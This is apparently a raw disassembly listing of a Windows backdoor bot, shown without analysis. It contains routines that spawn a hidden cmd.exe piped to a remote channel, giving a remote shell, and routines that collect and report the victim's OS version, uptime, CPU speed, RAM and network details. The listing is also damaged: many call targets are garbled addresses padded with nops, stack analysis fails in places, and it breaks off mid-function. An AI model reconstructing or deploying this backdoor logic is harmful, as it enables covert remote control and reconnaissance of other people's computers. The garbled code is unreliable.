arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_43F9C0


loc_40B42F:				; CODE XREF: sub_40B417+79j
					; sub_40B417+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_43F9B4
		call	near ptr 276046Bh
		nop
		test	eax, eax
		jz	loc_40B4FD
		cmp	[ebp+var_4], edi
		jnz	short loc_40B492
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_43F9B0
		call	near ptr 2760000h
		nop
		test	eax, eax
		jz	short loc_40B488
		cmp	[ebp+var_8], 103h
		jnz	loc_40B521


loc_40B488:				; CODE XREF: sub_40B417+62j
		push	0Ah
		call	near ptr 25F0439h
		nop
		jmp	short loc_40B42F
; ---------------------------------------------------------------------------


loc_40B492:				; CODE XREF: sub_40B417+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_40B4A9


loc_40B499:				; CODE XREF: sub_40B417+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_40B4F7
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_40B499


loc_40B4A9:				; CODE XREF: sub_40B417+80j
		mov	[ebp+var_4], esi


loc_40B4AC:				; CODE XREF: sub_40B417+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_43F9B4
		nop
		call	near ptr 2611183h
		test	eax, eax
		jz	short loc_40B549
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_43F9F4
		call	sub_40B390
		add	esp, 0Ch
		jmp	loc_40B42F
; ---------------------------------------------------------------------------


loc_40B4F7:				; CODE XREF: sub_40B417+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_40B4AC
; ---------------------------------------------------------------------------


loc_40B4FD:				; CODE XREF: sub_40B417+45j
		push	offset dword_42DC0C
		push	ebx
		push	dword_43F9F4
		call	sub_40B390
		push	[ebp+arg_0]
		call	sub_417078
		add	esp, 10h
		push	1
		nop
		call	near ptr 25E02EAh


loc_40B521:				; CODE XREF: sub_40B417+6Bj
		call	sub_40B328
		push	offset dword_42DBD4
		push	ebx
		push	dword_43F9F4
		call	sub_40B390
		push	[ebp+arg_0]
		call	sub_417078
		add	esp, 10h
		push	edi
		nop
		call	near ptr 25E02EAh


loc_40B549:				; CODE XREF: sub_40B417+C3j
		push	offset dword_42DB94
		push	ebx
		push	dword_43F9F4
		call	sub_40B390
		push	[ebp+arg_0]
		call	sub_417078
		add	esp, 10h
		push	edi
		nop
		call	near ptr 25E02EAh
sub_40B417	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B56C	proc near		; CODE XREF: sub_40C351+99p
					; sub_40EE72+5774p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_40B328
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aCmd_exe	; "cmd.exe"
		push	esi
		call	dword_43F724
		test	eax, eax
		jz	loc_40B666
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_424140
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi
		test	eax, eax
		jz	loc_40B666
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi
		test	eax, eax
		jz	loc_40B666
		mov	edi, dword_42413C
		push	3
		push	esi
		push	esi
		push	offset dword_43F9B8
		call	edi
		push	eax
		push	[ebp+var_8]
		call	edi
		push	eax
		nop
		call	near ptr 27607E9h
		test	eax, eax
		jz	short loc_40B666
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_417330
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_417330
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset byte_43C80C
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		call	near ptr 274056Fh
		nop
		test	eax, eax
		jnz	short loc_40B66E


loc_40B666:				; CODE XREF: sub_40B56C+2Fj
					; sub_40B56C+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_40B71C
; ---------------------------------------------------------------------------


loc_40B66E:				; CODE XREF: sub_40B56C+F8j
		push	[ebp+var_4]
		mov	edi, dword_424078
		call	edi
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_43F9B4, eax
		mov	eax, [ebp+var_8]
		mov	dword_43F9BC, eax
		mov	eax, [ebp+var_2C]
		mov	dword_43F9B0, eax
		call	edi
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_43F9F4, eax
		jz	short loc_40B6A8
		push	[ebp+arg_4]
		jmp	short loc_40B6A9
; ---------------------------------------------------------------------------


loc_40B6A8:				; CODE XREF: sub_40B56C+135j
		push	ebx


loc_40B6A9:				; CODE XREF: sub_40B56C+13Aj
		push	offset dword_43F9C0
		call	sub_4172B0
		pop	ecx
		pop	ecx
		push	esi
		push	7
		push	offset dword_42DC90
		call	sub_416D5C
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_4450C8[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_40B417
		push	esi
		push	esi
		nop
		call	near ptr 2660D4Bh
		cmp	eax, esi
		mov	dword_4450D4[edi], eax
		jnz	short loc_40B71A
		nop
		call	near ptr 2630313h
		push	eax
		lea	eax, [ebp+var_378]
		push	offset dword_42DC4C
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_40BF6D
		add	esp, 10h


loc_40B71A:				; CODE XREF: sub_40B56C+185j
		xor	eax, eax


loc_40B71C:				; CODE XREF: sub_40B56C+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B56C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B721	proc near		; CODE XREF: sub_407110+74p
					; sub_40B8D8+217p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		nop
		call	near ptr 25E08E4h
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_43F9FC
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41782A
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B721	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B78A	proc near		; CODE XREF: sub_409037+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		nop
		call	near ptr 2771415h
		test	eax, eax
		jz	short loc_40B81D
		cmp	[ebp+var_90], 4
		jnz	short loc_40B7F3
		cmp	[ebp+var_8C], esi
		jnz	short loc_40B7DB
		cmp	[ebp+var_84], 1
		jnz	short loc_40B7CE
		push	1
		pop	esi


loc_40B7CE:				; CODE XREF: sub_40B78A+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_40B81D
		push	1
		jmp	short loc_40B81C
; ---------------------------------------------------------------------------


loc_40B7DB:				; CODE XREF: sub_40B78A+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_40B7E8


loc_40B7E4:				; CODE XREF: sub_40B78A+78j
		push	2
		jmp	short loc_40B81C
; ---------------------------------------------------------------------------


loc_40B7E8:				; CODE XREF: sub_40B78A+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_40B81D
		jmp	short loc_40B80D
; ---------------------------------------------------------------------------


loc_40B7F3:				; CODE XREF: sub_40B78A+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_40B81D
		cmp	[ebp+var_8C], esi
		jz	short loc_40B7E4
		cmp	[ebp+var_8C], 1
		jnz	short loc_40B811


loc_40B80D:				; CODE XREF: sub_40B78A+67j
		push	3
		jmp	short loc_40B81C
; ---------------------------------------------------------------------------


loc_40B811:				; CODE XREF: sub_40B78A+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_40B81D
		push	7


loc_40B81C:				; CODE XREF: sub_40B78A+4Fj
					; sub_40B78A+5Cj ...
		pop	esi


loc_40B81D:				; CODE XREF: sub_40B78A+25j
					; sub_40B78A+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40B78A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B822	proc near		; CODE XREF: sub_40B8D8+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


loc_40B82A:				; CODE XREF: sub_40B822+2Fj
					; sub_40B822+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		nop
		call	near ptr 25F0439h
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_419250
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_40B82A
		jb	short loc_40B859
		cmp	ebx, esi
		ja	short loc_40B82A


loc_40B859:				; CODE XREF: sub_40B822+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_4191D0
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_40B8CC
		jb	short loc_40B878
		cmp	esi, 50h
		jnb	short loc_40B87D


loc_40B878:				; CODE XREF: sub_40B822+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_40B87D:				; CODE XREF: sub_40B822+54j
		test	ecx, ecx
		ja	short loc_40B8CC
		jb	short loc_40B888
		cmp	esi, 47h
		jnb	short loc_40B88D


loc_40B888:				; CODE XREF: sub_40B822+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_40B88D:				; CODE XREF: sub_40B822+64j
		test	ecx, ecx
		ja	short loc_40B8CC
		jb	short loc_40B898
		cmp	esi, 37h
		jnb	short loc_40B89D


loc_40B898:				; CODE XREF: sub_40B822+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_40B89D:				; CODE XREF: sub_40B822+74j
		test	ecx, ecx
		ja	short loc_40B8CC
		jb	short loc_40B8A8
		cmp	esi, 26h
		jnb	short loc_40B8AD


loc_40B8A8:				; CODE XREF: sub_40B822+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_40B8AD:				; CODE XREF: sub_40B822+84j
		test	ecx, ecx
		ja	short loc_40B8CC
		jb	short loc_40B8B8
		cmp	esi, 1Eh
		jnb	short loc_40B8BD


loc_40B8B8:				; CODE XREF: sub_40B822+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_40B8BD:				; CODE XREF: sub_40B822+94j
		test	ecx, ecx
		ja	short loc_40B8CC
		jb	short loc_40B8C8
		cmp	esi, 0Ah
		jnb	short loc_40B8CC


loc_40B8C8:				; CODE XREF: sub_40B822+9Fj
		xor	eax, eax
		xor	edx, edx


loc_40B8CC:				; CODE XREF: sub_40B822+4Dj
					; sub_40B822+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40B822	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B8D8	proc near		; CODE XREF: sub_40EE72+59EEp

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_43C80C
		mov	[ebp+var_CC], 94h
		nop
		call	near ptr 2771415h
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_40B95F
		cmp	[ebp+var_C4], ebx
		jnz	short loc_40B93B
		cmp	[ebp+var_BC], 1
		jnz	short loc_40B925
		mov	[ebp+var_4], offset a95	; "95"


loc_40B925:				; CODE XREF: sub_40B8D8+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_40B9DA
		mov	[ebp+var_4], offset aNt	; "NT"
		jmp	short loc_40B9AB
; ---------------------------------------------------------------------------


loc_40B93B:				; CODE XREF: sub_40B8D8+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_40B94D
		mov	[ebp+var_4], offset a98	; "98"
		jmp	short loc_40B9A2
; ---------------------------------------------------------------------------


loc_40B94D:				; CODE XREF: sub_40B8D8+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_40B99B
		mov	[ebp+var_4], offset aMe	; "ME"
		jmp	short loc_40B9A2
; ---------------------------------------------------------------------------


loc_40B95F:				; CODE XREF: sub_40B8D8+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_40B99B
		cmp	[ebp+var_C4], ebx
		jnz	short loc_40B979
		mov	[ebp+var_4], offset a2k	; "2K"
		jmp	short loc_40B9A2
; ---------------------------------------------------------------------------


loc_40B979:				; CODE XREF: sub_40B8D8+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_40B98B
		mov	[ebp+var_4], offset aXp	; "XP"
		jmp	short loc_40B9A2
; ---------------------------------------------------------------------------


loc_40B98B:				; CODE XREF: sub_40B8D8+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_40B9A2


loc_40B99B:				; CODE XREF: sub_40B8D8+7Cj
					; sub_40B8D8+8Ej
		mov	[ebp+var_4], offset dword_42DDDC


loc_40B9A2:				; CODE XREF: sub_40B8D8+73j
					; sub_40B8D8+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_40B9DA


loc_40B9AB:				; CODE XREF: sub_40B8D8+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_40B9DA
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset dword_42DDD4
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_40B9DA:				; CODE XREF: sub_40B8D8+54j
					; sub_40B8D8+D1j ...
		mov	ax, word_42DDD0
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_43F554
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_40BA13
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax


loc_40BA13:				; CODE XREF: sub_40B8D8+12Cj
		push	[ebp+arg_4]
		call	sub_40AEE0
		pop	ecx
		push	eax
		call	dword_43F6A8
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_43F620
		cmp	eax, ebx
		jz	short loc_40BA3C
		push	dword ptr [eax]
		jmp	short loc_40BA41
; ---------------------------------------------------------------------------


loc_40BA3C:				; CODE XREF: sub_40B8D8+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_40BA41:				; CODE XREF: sub_40B8D8+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_4172B0
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		nop
		call	near ptr 25F048Fh
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset aDdMmmYyyy ; "dd:MMM:yyyy"
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	near ptr 2660000h
		nop
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		nop
		call	near ptr 2650000h
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		nop
		call	near ptr 2780000h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_4192B8
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_40D12A
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_40B721
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		call	sub_40B822
		push	edx
		push	eax
		push	offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
		push	200h
		push	[ebp+arg_0]
		call	sub_41782A
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B8D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BB8C	proc near		; CODE XREF: sub_40EE72+4557p
					; sub_40EE72+5A1Fp

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		cmp	dword_43F750, 0
		jnz	short loc_40BBF8
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_43F538
		test	eax, eax
		jnz	short loc_40BBE1
		lea	eax, [ebp+var_8C]
		push	offset dword_42DE50
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_40BBE1:				; CODE XREF: sub_40BB8C+40j
		test	[ebp+var_C], 1
		jz	short loc_40BBEE
		push	offset dword_42DE48
		jmp	short loc_40BBF3
; ---------------------------------------------------------------------------


loc_40BBEE:				; CODE XREF: sub_40BB8C+59j
		push	offset off_42DE44


loc_40BBF3:				; CODE XREF: sub_40BB8C+60j
		lea	eax, [ebp+var_8]
		jmp	short loc_40BC10
; ---------------------------------------------------------------------------


loc_40BBF8:				; CODE XREF: sub_40BB8C+28j
		mov	esi, offset off_42DE40
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_4172B0
		pop	ecx
		lea	eax, [ebp+var_8C]
		pop	ecx
		push	esi


loc_40BC10:				; CODE XREF: sub_40BB8C+6Aj
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s	(%s). [IP Address"...
		push	200h
		push	[ebp+arg_0]
		call	sub_41782A
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_40BB8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BC4B	proc near		; DATA XREF: sub_40EE72+4976o

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_42DF80
		call	sub_417330
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_417330
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_417330
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_417330
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_43F570
		test	eax, eax
		jz	loc_40BDE5
		cmp	[ebp+var_34], ebx
		jbe	short loc_40BD22
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_418C10
		add	esp, 0Ch


loc_40BD22:				; CODE XREF: sub_40BC4B+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_40BD40
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_418C10
		add	esp, 0Ch


loc_40BD40:				; CODE XREF: sub_40BC4B+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_40BD5A
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_418C10
		add	esp, 0Ch


loc_40BD5A:				; CODE XREF: sub_40BC4B+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_40BD74
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_418C10
		add	esp, 0Ch


loc_40BD74:				; CODE XREF: sub_40BC4B+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_43F618
		call	dword_43F63C
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_40BDFD
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_43F630
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_40BE04
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_43F5E4
		test	eax, eax
		jz	short loc_40BDDE
		push	offset dword_42DF54
		jmp	short loc_40BE09
; ---------------------------------------------------------------------------


loc_40BDDE:				; CODE XREF: sub_40BC4B+18Aj
		push	offset unk_42DF08
		jmp	short loc_40BE09
; ---------------------------------------------------------------------------


loc_40BDE5:				; CODE XREF: sub_40BC4B+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_42DEDC
		push	eax
		call	sub_4172B0
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_40BE17
; ---------------------------------------------------------------------------


loc_40BDFD:				; CODE XREF: sub_40BC4B+153j
		push	offset unk_42DEA0
		jmp	short loc_40BE09
; ---------------------------------------------------------------------------


loc_40BE04:				; CODE XREF: sub_40BC4B+17Bj
		push	offset unk_42DE60


loc_40BE09:				; CODE XREF: sub_40BC4B+191j
					; sub_40BC4B+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_40BE17:				; CODE XREF: sub_40BC4B+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_40BE42
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_40D679
		add	esp, 14h


loc_40BE42:				; CODE XREF: sub_40BC4B+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	esi
		call	dword_43F69C
		push	[ebp+var_4]
		call	dword_43F69C
		push	[ebp+var_1D8]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 25E02EAh
		pop	edi
		pop	esi
		pop	ebx
sub_40BC4B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BE75	proc near		; CODE XREF: sub_40EE72+4490p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_444340
		mov	edi, 0B8h


loc_40BE89:				; CODE XREF: sub_40BE75+33j
		cmp	byte ptr [esi],	0
		jz	short loc_40BEAC
		push	[ebp+arg_0]
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40BEAC
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_444EC0
		jl	short loc_40BE89
		jmp	short loc_40BEEE
